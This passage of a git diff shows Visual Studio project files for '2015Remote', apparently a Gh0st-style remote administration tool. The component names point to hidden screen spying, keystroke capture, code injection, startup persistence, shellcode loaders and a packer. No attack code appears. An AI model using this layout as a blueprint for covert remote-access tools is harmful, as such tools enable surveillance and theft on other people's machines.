|
||||
<ClCompile Include="CUpdateDlg.cpp" />
|
||||
<ClCompile Include="CWalletDlg.cpp" />
|
||||
<ClCompile Include="DecryptDlg.cpp" />
|
||||
<ClCompile Include="EditDialog.cpp" />
|
||||
<ClCompile Include="FileManagerDlg.cpp" />
|
||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="file\CFileListCtrl.cpp" />
|
||||
<ClCompile Include="file\CFileManagerDlg.cpp" />
|
||||
<ClCompile Include="file\CFileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="InputDlg.cpp" />
|
||||
<ClCompile Include="IOCPKCPServer.cpp" />
|
||||
<ClCompile Include="IOCPServer.cpp" />
|
||||
<ClCompile Include="IOCPUDPServer.cpp" />
|
||||
<ClCompile Include="IPHistoryDlg.cpp" />
|
||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||
<ClCompile Include="NetworkDlg.cpp" />
|
||||
<ClCompile Include="NotifyManager.cpp" />
|
||||
<ClCompile Include="NotifySettingsDlg.cpp" />
|
||||
<ClCompile Include="FeatureLimitsDlg.cpp" />
|
||||
<ClCompile Include="FrpsForSubDlg.cpp" />
|
||||
<ClCompile Include="Loader.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
|
||||
<ClCompile Include="proxy\ProxyMapDlg.cpp" />
|
||||
<ClCompile Include="pwd_gen.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="RegisterDlg.cpp" />
|
||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="SearchBarDlg.cpp" />
|
||||
<ClCompile Include="ServicesDlg.cpp" />
|
||||
<ClCompile Include="SettingDlg.cpp" />
|
||||
<ClCompile Include="ShellDlg.cpp" />
|
||||
<ClCompile Include="TerminalDlg.cpp" />
|
||||
<ClCompile Include="SortListCtrl.cpp" />
|
||||
<ClCompile Include="SplashDlg.cpp" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="SystemDlg.cpp" />
|
||||
<ClCompile Include="sys\CCreateTaskDlg.cpp" />
|
||||
<ClCompile Include="sys\CInjectCodeDlg.cpp" />
|
||||
<ClCompile Include="sys\MachineDlg.cpp" />
|
||||
<ClCompile Include="sys\ServiceInfoDlg.cpp" />
|
||||
<ClCompile Include="TalkDlg.cpp" />
|
||||
<ClCompile Include="ToolbarDlg.cpp" />
|
||||
<ClCompile Include="TrueColorToolBar.cpp" />
|
||||
<ClCompile Include="VideoDlg.cpp" />
|
||||
<ClCompile Include="ServerServiceWrapper.cpp" />
|
||||
<ClCompile Include="ServerSessionMonitor.cpp" />
|
||||
<ClCompile Include="CIconButton.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="..\..\ReadMe.md" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\Bitmap\AddWatch.bmp" />
|
||||
<Image Include="res\Bitmap\AdminRun.bmp" />
|
||||
<Image Include="res\Bitmap\AssignTo.bmp" />
|
||||
<Image Include="res\Bitmap\AuthGen.bmp" />
|
||||
<Image Include="res\Bitmap\authorize.bmp" />
|
||||
<Image Include="res\Bitmap\Backup.bmp" />
|
||||
<Image Include="res\Bitmap\CancelShare.bmp" />
|
||||
<Image Include="res\Bitmap\delete.bmp" />
|
||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\EditGroup.bmp" />
|
||||
<Image Include="res\Bitmap\Exit.bmp" />
|
||||
<Image Include="res\Bitmap\Feedback.bmp" />
|
||||
<Image Include="res\Bitmap\FRP.bmp" />
|
||||
<Image Include="res\Bitmap\GenMaster.bmp" />
|
||||
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\Help.bmp" />
|
||||
<Image Include="res\Bitmap\History.bmp" />
|
||||
<Image Include="res\Bitmap\HostProxy.bmp" />
|
||||
<Image Include="res\Bitmap\Import.bmp" />
|
||||
<Image Include="res\Bitmap\ImportLicense.bmp" />
|
||||
<Image Include="res\Bitmap\Inject.bmp" />
|
||||
<Image Include="res\Bitmap\InputPassword.bmp" />
|
||||
<Image Include="res\Bitmap\Keyboard.bmp" />
|
||||
<Image Include="res\Bitmap\Language.bmp" />
|
||||
<Image Include="res\Bitmap\LicenseMgr.bmp" />
|
||||
<Image Include="res\Bitmap\Log.bmp" />
|
||||
<Image Include="res\Bitmap\LoginNotify.bmp" />
|
||||
<Image Include="res\Bitmap\Logout.bmp" />
|
||||
<Image Include="res\Bitmap\Network.bmp" />
|
||||
<Image Include="res\Bitmap\note.bmp" />
|
||||
<Image Include="res\Bitmap\Notify.bmp" />
|
||||
<Image Include="res\Bitmap\PEEdit.bmp" />
|
||||
<Image Include="res\Bitmap\Plugin.bmp" />
|
||||
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
||||
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
||||
<Image Include="res\Bitmap\proxy.bmp" />
|
||||
<Image Include="res\Bitmap\Reboot.bmp" />
|
||||
<Image Include="res\Bitmap\Refresh.bmp" />
|
||||
<Image Include="res\Bitmap\remove.bmp" />
|
||||
<Image Include="res\Bitmap\RequestAuth.bmp" />
|
||||
<Image Include="res\Bitmap\Settings.bmp" />
|
||||
<Image Include="res\Bitmap\Share.bmp" />
|
||||
<Image Include="res\Bitmap\Show.bmp" />
|
||||
<Image Include="res\Bitmap\Shutdown.bmp" />
|
||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\Trial.bmp" />
|
||||
<Image Include="res\Bitmap\unauthorize.bmp" />
|
||||
<Image Include="res\Bitmap\update.bmp" />
|
||||
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\Wallet.bmp" />
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\chat.ico" />
|
||||
<Image Include="res\decrypt.ico" />
|
||||
<Image Include="res\delete.bmp" />
|
||||
<Image Include="res\DrawingBoard.ico" />
|
||||
<Image Include="res\file\FILE.ico" />
|
||||
<Image Include="res\file\Icon_A.ico" />
|
||||
<Image Include="res\file\Icon_C.ico" />
|
||||
<Image Include="res\file\Icon_D.ico" />
|
||||
<Image Include="res\file\Icon_E.ico" />
|
||||
<Image Include="res\file\Icon_F.ico" />
|
||||
<Image Include="res\file\Icon_G.ico" />
|
||||
<Image Include="res\keyboard.ico" />
|
||||
<Image Include="res\machine.ico" />
|
||||
<Image Include="res\password.ico" />
|
||||
<Image Include="res\proxifler.ico" />
|
||||
<Image Include="res\screen.ico" />
|
||||
<Image Include="res\system.ico" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
<Image Include="res\ToolBar_Disable.bmp" />
|
||||
<Image Include="res\ToolBar_Enable.bmp" />
|
||||
<Image Include="res\ToolBar_Main.bmp" />
|
||||
<Image Include="res\ToolBar_Main_Res.bmp" />
|
||||
<Image Include="res\update.bmp" />
|
||||
<Image Include="res\webcam.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
<ProjectExtensions>
|
||||
<VisualStudio>
|
||||
<UserProperties RESOURCE_FILE="2015Remote.rc" />
|
||||
</VisualStudio>
|
||||
</ProjectExtensions>
|
||||
</Project>
|
||||
328
server/2015Remote/2015Remote_vs2015.vcxproj.filters
Normal file
328
server/2015Remote/2015Remote_vs2015.vcxproj.filters
Normal file
@@ -0,0 +1,328 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\client\Audio.cpp" />
|
||||
<ClCompile Include="..\..\client\MemoryModule.c" />
|
||||
<ClCompile Include="..\..\common\aes.c" />
|
||||
<ClCompile Include="2015Remote.cpp" />
|
||||
<ClCompile Include="2015RemoteDlg.cpp" />
|
||||
<ClCompile Include="AudioDlg.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="BuildDlg.cpp" />
|
||||
<ClCompile Include="Chat.cpp" />
|
||||
<ClCompile Include="CPasswordDlg.cpp" />
|
||||
<ClCompile Include="LicenseFile.cpp" />
|
||||
<ClCompile Include="CTextDlg.cpp" />
|
||||
<ClCompile Include="DecryptDlg.cpp" />
|
||||
<ClCompile Include="EditDialog.cpp" />
|
||||
<ClCompile Include="FileManagerDlg.cpp" />
|
||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="InputDlg.cpp" />
|
||||
<ClCompile Include="IOCPServer.cpp" />
|
||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||
<ClCompile Include="Loader.c" />
|
||||
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
|
||||
<ClCompile Include="proxy\ProxyMapDlg.cpp" />
|
||||
<ClCompile Include="pwd_gen.cpp" />
|
||||
<ClCompile Include="RegisterDlg.cpp" />
|
||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="ServicesDlg.cpp" />
|
||||
<ClCompile Include="SettingDlg.cpp" />
|
||||
<ClCompile Include="ShellDlg.cpp" />
|
||||
<ClCompile Include="TerminalDlg.cpp" />
|
||||
<ClCompile Include="SortListCtrl.cpp" />
|
||||
<ClCompile Include="stdafx.cpp" />
|
||||
<ClCompile Include="SystemDlg.cpp" />
|
||||
<ClCompile Include="sys\CCreateTaskDlg.cpp" />
|
||||
<ClCompile Include="sys\CInjectCodeDlg.cpp" />
|
||||
<ClCompile Include="sys\MachineDlg.cpp" />
|
||||
<ClCompile Include="sys\ServiceInfoDlg.cpp" />
|
||||
<ClCompile Include="TalkDlg.cpp" />
|
||||
<ClCompile Include="TrueColorToolBar.cpp" />
|
||||
<ClCompile Include="VideoDlg.cpp" />
|
||||
<ClCompile Include="file\CFileManagerDlg.cpp">
|
||||
<Filter>file</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\CFileTransferModeDlg.cpp">
|
||||
<Filter>file</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\CFileListCtrl.cpp">
|
||||
<Filter>file</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="IOCPUDPServer.cpp" />
|
||||
<ClCompile Include="CDrawingBoard.cpp" />
|
||||
<ClCompile Include="IOCPKCPServer.cpp" />
|
||||
<ClCompile Include="..\..\common\ikcp.c" />
|
||||
<ClCompile Include="CGridDialog.cpp" />
|
||||
<ClCompile Include="CWalletDlg.cpp" />
|
||||
<ClCompile Include="CRcEditDlg.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="Bmp2Video.cpp" />
|
||||
<ClCompile Include="ServerServiceWrapper.cpp" />
|
||||
<ClCompile Include="ServerSessionMonitor.cpp" />
|
||||
<ClCompile Include="SplashDlg.cpp" />
|
||||
<ClCompile Include="ToolbarDlg.cpp" />
|
||||
<ClCompile Include="SearchBarDlg.cpp" />
|
||||
<ClCompile Include="CDlgFileSend.cpp" />
|
||||
<ClCompile Include="..\..\common\file_upload.cpp" />
|
||||
<ClCompile Include="..\..\client\reg_startup.c" />
|
||||
<ClCompile Include="CClientListDlg.cpp" />
|
||||
<ClCompile Include="CUpdateDlg.cpp" />
|
||||
<ClCompile Include="CListCtrlEx.cpp" />
|
||||
<ClCompile Include="CIconButton.cpp" />
|
||||
<ClCompile Include="CLicenseDlg.cpp" />
|
||||
<ClCompile Include="NotifyManager.cpp" />
|
||||
<ClCompile Include="NotifySettingsDlg.cpp" />
|
||||
<ClCompile Include="FrpsForSubDlg.cpp" />
|
||||
<ClCompile Include="NetworkDlg.cpp" />
|
||||
<ClCompile Include="IPHistoryDlg.cpp" />
|
||||
<ClCompile Include="FeatureLimitsDlg.cpp" />
|
||||
<ClCompile Include="WebService.cpp" />
|
||||
<ClCompile Include="msvc_compat.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\client\Audio.h" />
|
||||
<ClInclude Include="..\..\client\MemoryModule.h" />
|
||||
<ClInclude Include="..\..\common\aes.h" />
|
||||
<ClInclude Include="..\..\common\encrypt.h" />
|
||||
<ClInclude Include="..\..\common\iniFile.h" />
|
||||
<ClInclude Include="2015Remote.h" />
|
||||
<ClInclude Include="2015RemoteDlg.h" />
|
||||
<ClInclude Include="adapter.h" />
|
||||
<ClInclude Include="AudioDlg.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="BuildDlg.h" />
|
||||
<ClInclude Include="Chat.h" />
|
||||
<ClInclude Include="CPasswordDlg.h" />
|
||||
<ClInclude Include="LicenseFile.h" />
|
||||
<ClInclude Include="CTextDlg.h" />
|
||||
<ClInclude Include="DateVerify.h" />
|
||||
<ClInclude Include="DecryptDlg.h" />
|
||||
<ClInclude Include="EditDialog.h" />
|
||||
<ClInclude Include="FileManagerDlg.h" />
|
||||
<ClInclude Include="FileTransferModeDlg.h" />
|
||||
<ClInclude Include="HideScreenSpyDlg.h" />
|
||||
<ClInclude Include="InputDlg.h" />
|
||||
<ClInclude Include="IOCPServer.h" />
|
||||
<ClInclude Include="KeyBoardDlg.h" />
|
||||
<ClInclude Include="proxy\HPSocket.h" />
|
||||
<ClInclude Include="proxy\HPTypeDef.h" />
|
||||
<ClInclude Include="proxy\ProxyConnectServer.h" />
|
||||
<ClInclude Include="proxy\ProxyMapDlg.h" />
|
||||
<ClInclude Include="proxy\SocketInterface.h" />
|
||||
<ClInclude Include="pwd_gen.h" />
|
||||
<ClInclude Include="RegisterDlg.h" />
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="ScreenSpyDlg.h" />
|
||||
<ClInclude Include="ServicesDlg.h" />
|
||||
<ClInclude Include="SettingDlg.h" />
|
||||
<ClInclude Include="ShellDlg.h" />
|
||||
<ClInclude Include="TerminalDlg.h" />
|
||||
<ClInclude Include="SortListCtrl.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="SystemDlg.h" />
|
||||
<ClInclude Include="sys\CCreateTaskDlg.h" />
|
||||
<ClInclude Include="sys\CInjectCodeDlg.h" />
|
||||
<ClInclude Include="sys\MachineDlg.h" />
|
||||
<ClInclude Include="sys\ServiceInfoDlg.h" />
|
||||
<ClInclude Include="TalkDlg.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
<ClInclude Include="TrueColorToolBar.h" />
|
||||
<ClInclude Include="VideoDlg.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
<ClInclude Include="file\CFileManagerDlg.h">
|
||||
<Filter>file</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="file\CFileTransferModeDlg.h">
|
||||
<Filter>file</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="file\CFileListCtrl.h">
|
||||
<Filter>file</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="IOCPUDPServer.h" />
|
||||
<ClInclude Include="Server.h" />
|
||||
<ClInclude Include="CDrawingBoard.h" />
|
||||
<ClInclude Include="IOCPKCPServer.h" />
|
||||
<ClInclude Include="..\..\common\ikcp.h" />
|
||||
<ClInclude Include="CGridDialog.h" />
|
||||
<ClInclude Include="CWalletDlg.h" />
|
||||
<ClInclude Include="CRcEditDlg.h" />
|
||||
<ClInclude Include="..\..\common\obfs.h" />
|
||||
<ClInclude Include="..\..\common\file_upload.h" />
|
||||
<ClInclude Include="Bmp2Video.h" />
|
||||
<ClInclude Include="ServerServiceWrapper.h" />
|
||||
<ClInclude Include="ServerSessionMonitor.h" />
|
||||
<ClInclude Include="SplashDlg.h" />
|
||||
<ClInclude Include="ToolbarDlg.h" />
|
||||
<ClInclude Include="SearchBarDlg.h" />
|
||||
<ClInclude Include="CDlgFileSend.h" />
|
||||
<ClInclude Include="..\..\client\reg_startup.h" />
|
||||
<ClInclude Include="HostInfo.h" />
|
||||
<ClInclude Include="CClientListDlg.h" />
|
||||
<ClInclude Include="context.h" />
|
||||
<ClInclude Include="CUpdateDlg.h" />
|
||||
<ClInclude Include="CListCtrlEx.h" />
|
||||
<ClInclude Include="LangManager.h" />
|
||||
<ClInclude Include="CIconButton.h" />
|
||||
<ClInclude Include="CLicenseDlg.h" />
|
||||
<ClInclude Include="NotifyConfig.h" />
|
||||
<ClInclude Include="NotifyManager.h" />
|
||||
<ClInclude Include="NotifySettingsDlg.h" />
|
||||
<ClInclude Include="FrpsForSubDlg.h" />
|
||||
<ClInclude Include="TerminalModuleLoader.h" />
|
||||
<ClInclude Include="..\..\common\SafeString.h" />
|
||||
<ClInclude Include="NetworkDlg.h" />
|
||||
<ClInclude Include="IPHistoryDlg.h" />
|
||||
<ClInclude Include="FeatureLimitsDlg.h" />
|
||||
<ClInclude Include="FeatureFlags.h" />
|
||||
<ClInclude Include="UIBranding.h" />
|
||||
<ClInclude Include="WebService.h" />
|
||||
<ClInclude Include="WebServiceAuth.h" />
|
||||
<ClInclude Include="WebPage.h" />
|
||||
<ClInclude Include="SimpleWebSocket.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\Bitmap\authorize.bmp" />
|
||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\note.bmp" />
|
||||
<Image Include="res\Bitmap\proxy.bmp" />
|
||||
<Image Include="res\Bitmap\Share.bmp" />
|
||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\unauthorize.bmp" />
|
||||
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\chat.ico" />
|
||||
<Image Include="res\decrypt.ico" />
|
||||
<Image Include="res\delete.bmp" />
|
||||
<Image Include="res\keyboard.ico" />
|
||||
<Image Include="res\machine.ico" />
|
||||
<Image Include="res\password.ico" />
|
||||
<Image Include="res\proxifler.ico" />
|
||||
<Image Include="res\screen.ico" />
|
||||
<Image Include="res\system.ico" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
<Image Include="res\update.bmp" />
|
||||
<Image Include="res\webcam.ico" />
|
||||
<Image Include="res\file\FILE.ico" />
|
||||
<Image Include="res\file\Icon_A.ico" />
|
||||
<Image Include="res\file\Icon_C.ico" />
|
||||
<Image Include="res\file\Icon_D.ico" />
|
||||
<Image Include="res\file\Icon_E.ico" />
|
||||
<Image Include="res\file\Icon_F.ico" />
|
||||
<Image Include="res\file\Icon_G.ico" />
|
||||
<Image Include="res\DrawingBoard.ico" />
|
||||
<Image Include="res\Bitmap\AssignTo.bmp" />
|
||||
<Image Include="res\Bitmap\AddWatch.bmp" />
|
||||
<Image Include="res\Bitmap\AdminRun.bmp" />
|
||||
<Image Include="res\Bitmap\remove.bmp" />
|
||||
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
||||
<Image Include="res\Bitmap\EditGroup.bmp" />
|
||||
<Image Include="res\Bitmap\Inject.bmp" />
|
||||
<Image Include="res\Bitmap\HostProxy.bmp" />
|
||||
<Image Include="res\Bitmap\LoginNotify.bmp" />
|
||||
<Image Include="res\ToolBar_Main_Res.bmp" />
|
||||
<Image Include="res\ToolBar_Main.bmp" />
|
||||
<Image Include="res\ToolBar_Enable.bmp" />
|
||||
<Image Include="res\ToolBar_Disable.bmp" />
|
||||
<Image Include="res\Bitmap\delete.bmp" />
|
||||
<Image Include="res\Bitmap\update.bmp" />
|
||||
<Image Include="res\Bitmap\Shutdown.bmp" />
|
||||
<Image Include="res\Bitmap\Reboot.bmp" />
|
||||
<Image Include="res\Bitmap\Logout.bmp" />
|
||||
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
||||
<Image Include="res\Bitmap\Show.bmp" />
|
||||
<Image Include="res\Bitmap\Exit.bmp" />
|
||||
<Image Include="res\Bitmap\Settings.bmp" />
|
||||
<Image Include="res\Bitmap\Wallet.bmp" />
|
||||
<Image Include="res\Bitmap\Network.bmp" />
|
||||
<Image Include="res\Bitmap\InputPassword.bmp" />
|
||||
<Image Include="res\Bitmap\ImportLicense.bmp" />
|
||||
<Image Include="res\Bitmap\PEEdit.bmp" />
|
||||
<Image Include="res\Bitmap\AuthGen.bmp" />
|
||||
<Image Include="res\Bitmap\GenMaster.bmp" />
|
||||
<Image Include="res\Bitmap\LicenseMgr.bmp" />
|
||||
<Image Include="res\Bitmap\Keyboard.bmp" />
|
||||
<Image Include="res\Bitmap\Notify.bmp" />
|
||||
<Image Include="res\Bitmap\Log.bmp" />
|
||||
<Image Include="res\Bitmap\History.bmp" />
|
||||
<Image Include="res\Bitmap\Backup.bmp" />
|
||||
<Image Include="res\Bitmap\Import.bmp" />
|
||||
<Image Include="res\Bitmap\Language.bmp" />
|
||||
<Image Include="res\Bitmap\Refresh.bmp" />
|
||||
<Image Include="res\Bitmap\Plugin.bmp" />
|
||||
<Image Include="res\Bitmap\FRP.bmp" />
|
||||
<Image Include="res\Bitmap\Help.bmp" />
|
||||
<Image Include="res\Bitmap\Feedback.bmp" />
|
||||
<Image Include="res\Bitmap\Trial.bmp" />
|
||||
<Image Include="res\Bitmap\RequestAuth.bmp" />
|
||||
<Image Include="res\Bitmap\CancelShare.bmp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
<None Include="..\..\Release\ServerDll.dll" />
|
||||
<None Include="..\..\Release\TestRun.exe" />
|
||||
<None Include="..\..\Release\TinyRun.dll" />
|
||||
<None Include="..\..\x64\Release\ghost.exe" />
|
||||
<None Include="..\..\x64\Release\ServerDll.dll" />
|
||||
<None Include="..\..\x64\Release\TestRun.exe" />
|
||||
<None Include="..\..\x64\Release\TinyRun.dll" />
|
||||
<None Include="res\1.cur" />
|
||||
<None Include="res\2.cur" />
|
||||
<None Include="res\2015Remote.ico" />
|
||||
<None Include="res\3.cur" />
|
||||
<None Include="res\4.cur" />
|
||||
<None Include="res\arrow.cur" />
|
||||
<None Include="res\audio.ico" />
|
||||
<None Include="res\bitmap\bmp00001.bmp" />
|
||||
<None Include="res\Bitmap\Online.bmp" />
|
||||
<None Include="res\bitmap\toolbar1.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_File.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_Main.bmp" />
|
||||
<None Include="res\cmdshell.ico" />
|
||||
<None Include="res\cursor5.cur" />
|
||||
<None Include="res\Cur\Drag.cur" />
|
||||
<None Include="res\Cur\MutiDrag.cur" />
|
||||
<None Include="res\dword.ico" />
|
||||
<None Include="res\file.ico" />
|
||||
<None Include="res\My2015Remote.rc2" />
|
||||
<None Include="res\pc.ico" />
|
||||
<None Include="res\string.ico" />
|
||||
<None Include="res\upx.exe" />
|
||||
<None Include="res\frpc.dll" />
|
||||
<None Include="..\..\Release\SCLoader.exe" />
|
||||
<None Include="..\..\x64\Release\SCLoader.exe" />
|
||||
<None Include="res\rcedit.exe" />
|
||||
<None Include="stub2\stub32.bin" />
|
||||
<None Include="stub2\stub64.bin" />
|
||||
<None Include="res\SCLoader_32.exe" />
|
||||
<None Include="res\SCLoader_64.exe" />
|
||||
<None Include="..\..\linux\ghost" />
|
||||
<None Include="res\Cur\4.cur" />
|
||||
<None Include="res\Cur\2.cur" />
|
||||
<None Include="res\Cur\3.cur" />
|
||||
<None Include="res\Cur\1.cur" />
|
||||
<None Include="res\Cur\arrow.cur" />
|
||||
<None Include="res\3rd\upx.exe" />
|
||||
<None Include="res\3rd\frpc.dll" />
|
||||
<None Include="res\3rd\frps.dll" />
|
||||
<None Include="res\3rd\rcedit.exe" />
|
||||
<None Include="res\3rd\SCLoader_32.exe" />
|
||||
<None Include="res\3rd\SCLoader_64.exe" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="..\..\ReadMe.md" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="file">
|
||||
<UniqueIdentifier>{17217547-dc35-4a87-859c-e8559529a909}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
31
server/2015Remote/2015Remote_vs2015.vcxproj.user
Normal file
31
server/2015Remote/2015Remote_vs2015.vcxproj.user
Normal file
@@ -0,0 +1,31 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
<LocalDebuggerCommandArguments>-agent</LocalDebuggerCommandArguments>
|
||||
<LocalDebuggerCommandArgumentsHistory>-agent|</LocalDebuggerCommandArgumentsHistory>
|
||||
<LocalDebuggerEnvironment>PATH=$(SolutionDir)..\TerminalModule\bin;%PATH%</LocalDebuggerEnvironment>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
<LocalDebuggerEnvironment>PATH=$(SolutionDir)..\TerminalModule\bin;%PATH%</LocalDebuggerEnvironment>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
<LocalDebuggerEnvironment>PATH=$(SolutionDir)..\TerminalModule\bin;%PATH%</LocalDebuggerEnvironment>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
<LocalDebuggerCommandArguments>-agent</LocalDebuggerCommandArguments>
|
||||
<LocalDebuggerCommandArgumentsHistory>-agent|</LocalDebuggerCommandArgumentsHistory>
|
||||
<LocalDebuggerEnvironment>PATH=$(SolutionDir)..\TerminalModule\bin;%PATH%</LocalDebuggerEnvironment>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<RESOURCE_FILE>2015Remote.rc</RESOURCE_FILE>
|
||||
<ShowAllFiles>false</ShowAllFiles>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
131
server/2015Remote/AudioDlg.cpp
Normal file
131
server/2015Remote/AudioDlg.cpp
Normal file
@@ -0,0 +1,131 @@
|
||||
// AudioDlg.cpp : 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "AudioDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CAudioDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
|
||||
|
||||
